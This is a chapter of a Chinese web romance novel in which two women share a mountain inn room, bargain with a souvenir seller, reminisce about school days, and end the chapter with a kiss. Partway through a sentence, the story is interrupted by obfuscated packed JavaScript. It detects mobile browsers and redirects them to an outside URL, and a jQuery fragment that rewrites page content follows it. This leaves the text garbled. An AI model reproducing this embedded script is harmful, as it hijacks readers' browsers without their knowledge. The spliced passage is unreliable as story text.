20.正在尝

作品:《天干物燥小心直女

    苏缈凝着她,眸子里笑意淡淡的。


    这句话其实是可以有歧义,但也可以没有,全在于听到的人怎么想。


    可但凡是从苏缈嘴里说出来的话,再过一遍庄春雨的脑子,出来后,很难不沾点颜色。


    庄春雨差点从床上滚下去,她的尴尬藏都藏不住了,脸烫得像火烧:“啊?那个,不是,这是你的床吗?我刚才在和老板聊天没注意听你说了什么,我以为我是睡靠阳台这边……”


    有点语无伦次。


    苏缈点点头,表示没关系:“没关系,你要是想睡我的床,也可以。”


    “需要换吗?”


    她含着笑,还在打趣。


    庄春雨哪能顺着接,人已经从床上下来:“不用不用,我这就过去。”


    其实没差。


    两张床,都一样,只是在被贴上“苏缈”的名字标签之后,才显得格外的烫屁股。


    好像庄春雨起身起得慢一点,或者表态模糊一点,就是在暗示。


    暗示什么呢?


    这样,或者那样的事情。


    尽管,她们彼此在私下都已经幻想过无数遍,当夜幕来临之际,这间房里,可能发生的事情。


    但余晖尚在。


    在光未散尽之前,那些藏起来的、不能为人所知的贪婪与欲望,仍旧需要粉饰。


    庄春雨终于回到自己床上。


    尴尬的感觉依然存在,但苏缈没再看她了,而是走到外边的小阳台上,欣赏日落的风景。


    这让庄春雨尴尬的感觉少了许多。


    她有点感激苏缈,将这块单独小空间留给自己。


    七点,太阳完全沉落天际,两人下楼找地方吃晚餐。


    云亭山的半山腰已经商业化得很彻底,除了住的地方选择不太多,不同风格的餐馆倒是开了三家,更有一家是全素食的。


    咖啡奶茶也有。


    某幸旁边,紧挨着一家某雪,生意都还不错,毕竟大部分人爬到半山腰的时候总会想着要歇歇。


    避开全素餐厅,两人盲选了一家,味道中规中矩。


    傍晚时发生的那点尴尬,在一顿饭吃完后,也完全散去。


    回去路上,两人碰见那种景点常见,批量兜售纪念品的大妈。


    她卖的是金属印制的小佛牌,巴掌大小,黄灿灿,上头是印的是菩萨法相,远远看见两人空着手,就迎了上来。


    “买两个不嘛老板,老远来一趟,把菩萨带回家保佑你顺风顺水,都是庙里开过光的。”


    东西直接递到了两人面前。


    庄春雨倒是见得多,有经验,无动于衷,架不住一旁苏缈顺势就接到了手里,还很好奇的样子。


    庄春雨一看,完了,这钱八成得花。


    大妈和她的角度完全相反,一看这单有戏,趁热打铁就喊价:“三十一个,不贵的,”


    “三十一个还不贵啊?”


    庄春雨就差把“贵”字写脸上了。


    一张破铁片。


    大妈一副此言差矣的表情:“欸,三十把菩萨带回家,买个诚心嘛,菩萨知道了也会保佑你们的。”


    说来说去就是菩萨保佑。


    庄春雨不和她掰扯,转过头去看苏缈。


    只一眼,苏缈就懂了她的意思,配合着将东西递回去:“谢谢,但是有点贵了,我们不要。”说完,她转头叫庄春雨,“走吧,回去。”


    大妈一看,急了:“二十块,便宜给你,买个平安。”


    两人充耳不闻,继续朝前走。


    很快,身后匆忙的脚步追上来:“三十两个,给你们算了!哎呀,来一趟总要带点东西回去嘛,下次来都不知道是什么时候喽……”


    这个价格,可以接受。


    庄春雨转头看苏缈,问她:“想要吗?”


    苏缈这个点头有些乖:“想。”


    庄春雨心被勾着轻轻晃荡,她扬唇不自觉笑两声,爽快地扫码付钱:“那我们买两个。”


    一人一个。


    庄春雨本来没想买两个的,苏缈说想要,那其实买一个就行。


    但方才大妈无意说出口的话戳中了她。


    来一趟,总要带点东西回去。下次……还会有下次吗?


    留个纪念,总是好的。


    半山广场的范围就那么大,走两步,她们就回到了住的地方。


    苏缈看上去真挺喜欢这个小佛牌的,回去后,就将它夹进了钱包里,小心放好。


    料想中独处一室的别扭和不自在,并未来临。


    两人先后洗澡,庄春雨出来后没在房间里看见苏缈,便朝着小阳台的方向走两步。


    果然,看见朦胧的夜色里,一道虚虚的人影,正倚在那。


    庄春雨从身后靠近:“看夜景吗?”


    苏缈听见她的声音,略意外地转身,庄春雨得以看清她的脸——刚洗完澡的苏缈肌肤清透,有种洗去浮尘的干净,出水芙蓉般。


    两人对视一瞬,苏缈将视线落回远处,随口问:“这里的庙很灵吗?八点了,楼下广场上还有好多人,我看他们都是从山顶的方向下来的。”


    “日子特殊,今天是初一,上香的人多。”


    庄春雨和她挨在一起,站着,伸出只手支在栏杆上托着腮,淡粉色的长发随意散着。


    区别是苏缈直着腰,她不是。


    她从来就不喜欢好好站,也不喜欢好好坐,更爱歪歪扭扭。


    感觉到从旁投来的眼神,庄春雨继续解释:“我家以前做生意,很信这个,初一十五都要上供。”


    苏缈点头:“这样……”


    她的视线,自庄春雨胸前那块莹白的肌肤上滑过,缓缓移开。


    庄春雨带的是睡裙,灰蓝调的印花,清瘦的肩膀上挂着两根细细的吊带,细胳膊长腿,被晚风撩动的发丝是春天遗落的信笺。


    今夜温度刚好,风吹到身上不冷不热,很舒服。


    很适合聊天。


    苏缈勾唇,露出淡然的笑:“这次再见,你变化挺大的。”


    “什么?”


    “一种感觉。比如你今晚跟大妈还价的时候,我还挺意外。”


    苏缈从前认识的庄春雨买东西从来不还价,别人说多少就给多少,出手很大方。


    当然,也有一点有钱冤大头的潜质。


    还有,庄春雨现在也会照顾和迁就别人了,从前,她都是被人照顾和迁就的那个。


    这几天相处下来,苏缈还发现了很多,很多。


    这种在一个人身上,体会到的,熟悉又陌生的感觉。


    听见苏缈说还价的事,庄春雨也愣了下,打着哈哈:“啊……长大了嘛,这种景点小贩开价都很高,没必要多花这部分钱。”


    以前不知人间疾苦嘛,现在,正在尝。


    苏缈弯眸:“挺好的。”


    庄春雨看她一眼,也笑:“那你也变了很多啊,嗯……你看你现在都会看眼色行事了,刚刚我一个眼神过去你就知道要配合我,不像以前,眼睛眨坏了你都不知道别人是什么意思。”


    庄春雨也记得,以前年级里搞突击检查,要查手机。


    报信的同学给苏缈打暗号,眼睛都眨烂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16421953|183679||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了,苏缈以为人家是眼睛不舒服,问他要不要去看医生,给人气得。


    一说起回忆,说起起从前,可以聊的话就源源不断,打都打不住。


    仿佛记忆里的两个女孩,从未有过嫌隙,她们在有些褪色的旧时光里,仍旧鲜活,一如既往的要好。


    时间按下的暂停键,永远停在那年。


    她们都很珍惜那段时光,也很怀念。苏缈眉眼间都萦着淡淡的温柔,她眼波轻晃,在笑:“那是不是说明,我们还是有点默契的?”


    庄春雨撩动长发,看远方的散落的星辰:“我觉得有,哈哈哈。”


    气氛如此的轻松,没有想象中的暧昧,不过也不错,她们就像一对真正多年未见的老友,尽释前嫌。


    庄春雨挺开心的。


    不过,她很快开心不起来。


    “怎么了?”


    苏缈看她挠痒的动作越来越频繁。


    庄春雨皱着眉,翻过小臂用指甲去挠:“我好像被什么虫子咬了,好痒。”


    “别抓,会抓破皮的。我带了药,你等我一下。”


    苏缈制止她,转身折回房间,再出来的时候手里多了瓶青草膏。


    庄春雨两只裸露的小臂上都有被咬的包,再加上指甲留下的抓痕,皙白的肌肤留下红红一大片。


    苏缈给她擦好药,询问:“还有其他地方吗?”


    “腿上也有。”


    隔着薄薄一层布料,庄春雨象征性地抓两下。


    还是很痒。


    山里虫子多,这不稀奇,但这是全都来咬她了吗?


    站着不好擦药,苏缈让庄春雨坐到椅子上,自己蹲着:“睡裙,撩上去一点。”


    她轻声。


    庄春雨听见,犹豫了会儿,慢吞吞照做。


    被咬的地方在膝盖上方那块,大腿外侧,算不上太私密的地方,只是苏缈让她撩裙子这句话听到耳朵里,让人有点想入非非。


    苏缈半蹲着。


    小阳台没开灯,从房间里铺出来的光落在她身上,朦朦胧胧,半明半昧。


    浓郁的药膏味儿,混着初夏晚风特有的干燥,还有女人身上淡淡的沐浴香。


    庄春雨终究是忍不住晃了神。


    就着夜色下的微光,她看清苏缈认真专注的神情,看人随呼吸扇动的长睫,看对方被颜色晕染的指尖,在泛红的肌肤上抹开。


    冰凉又混着温度的触感,很快覆盖了痒意。


    腿上不痒了,心里痒。


    有根羽毛在挠。


    心在擂鼓,咚,咚咚,一下又一下,怂恿藏在暗处的那条小蛇,再次蠢蠢欲动。


    庄春雨紧了紧喉咙,无处躲藏的眼神在苏缈抬起头的瞬间,一览无遗。


    那双眼睛里藏着欲-望,贪恋,还有一些庄春雨自己都无法分辨的情绪。


    苏缈怔住,指尖微微蜷起:“……涂好了。”她说。


    被撩起的裙摆,仍旧搭在光滑的膝盖上。


    庄春雨动了动,光洁的小腿微微受力,小幅朝前倾动身体。


    两片唇几乎是险险擦过。


    苏缈再一次偏头捂唇:“咳咳……”


    又是这出。


    连空气都透着诡异的沉默。


    苏缈咳了会儿,淡淡的粉色自颈下的肌肤蔓延至耳后,余光里,看不清庄春雨的表情,人相当安静。


    几息后,她松开捂唇的那只手,轻轻吸气,转头:“我……”


    “咳完了吗?”庄春雨问她。


    “嗯。”


    下一秒,庄春雨握住她的手腕,倾身吻住。